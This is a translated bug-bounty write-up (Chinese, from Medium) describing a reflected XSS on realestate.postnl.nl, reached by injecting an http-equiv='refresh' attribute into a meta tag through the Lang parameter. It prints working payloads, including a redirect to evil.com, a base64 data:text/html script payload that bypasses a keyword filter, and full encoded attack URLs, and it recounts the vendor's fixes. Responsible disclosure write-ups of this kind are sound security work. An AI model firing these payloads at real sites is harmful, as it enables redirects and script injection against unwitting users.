翻译自:https://medium.com/@prial261/xss-bypass-using-meta-tag-in-realestate-postnl-nl-32db25db7308
翻译:聂心明
今天我准备将一个xss漏洞报给 postnl.nl 的src
漏洞点:http://realestate.postnl.nl/?Lang=
我使用“><xsstest>
测试Lang参数是否有xss,然后在源码中我发现我输入的参数被输出到META标签之中了,就像下面这样 :
<meta name="language" content=""><xsstest>" />
看起来很简单对吧?但是等一下,我输入"><img src=x>
我得到:
我尝试了很多HTML标签,然后我总结了两点:
所以我谷歌寻找meta标签属性,得到:
http-equiv属性引起我的注意。现在我又谷歌希望能了解到更多的东西
META标签有一个http-equiv属性,这个属性允许你在HTML代码中定义HTTP头的等效项。http-equiv属性会使用refresh这个值,这个值的可以被用来跳转到其他页面。
然后我输入0;http://evil.com"HTTP-EQUIV="refresh"
页面显示:
<meta name="language" content="0;http://evil.com"HTTP-EQUIV="refresh"" />
然后跳转到了evil.com,所以我已经能够跳转了。现在我试着构造URI XSS,所以我输入0;javascript:alert(1)"HTTP-EQUIV="refresh"
页面报
我的payload中触发了javascript关键字。所以我使用Base64编码一下payload。0;data:text/html;base64,PHNjcmlwdD5wcm9tcHQoIlJlZmxlY3RlZCBYU1MgQnkgUHJpYWwiKTwvc2NyaXB0Pg=="HTTP-EQUIV="refresh"
,然后返回的源码是:
<meta name="language" content="0;data:text/html;base64,PHNjcmlwdD5wcm9tcHQoIlJlZmxlY3RlZCBYU1MgQnkgUHJpYWwiKTwvc2NyaXB0Pg=="HTTP-EQUIV="refresh"" />
现在我访问:http://realestate.postnl.nl/?Lang=0%3Bdata%3Atext%2fhtml%3Bbase64%2CPHNjcmlwdD5wcm9tcHQoIlJlZmxlY3RlZCBYU1MgQnkgUHJpYWwiKTwvc2NyaXB0Pg%3D%3D%22HTTP-EQUIV%3D%22refresh%22
就可以xss了
我把漏洞报告给了官方Zerocopter 。然后厂商通过把data:text/html;base64加入黑名单的方式修复了此漏洞,这种方式就像把javascript加入黑名单一样,但是我依然可以通过访问http://realestate.postnl.nl/?Lang=0%3Bhttp%3A%2f%2fevil.com%22HTTP-EQUIV%3D%22refresh%22
来达到任意跳转的目的。
官方又一次修复了这个漏洞,并且把我的名字放在了名人堂 页面上,并且将会给我发一些礼物
谢谢你们阅读
喜欢我的话请在我的推特上关注我: https://twitter.com/prial261
如果你们有任何问题,欢迎在Facebook上向我提问
https://www.facebook.com/prial261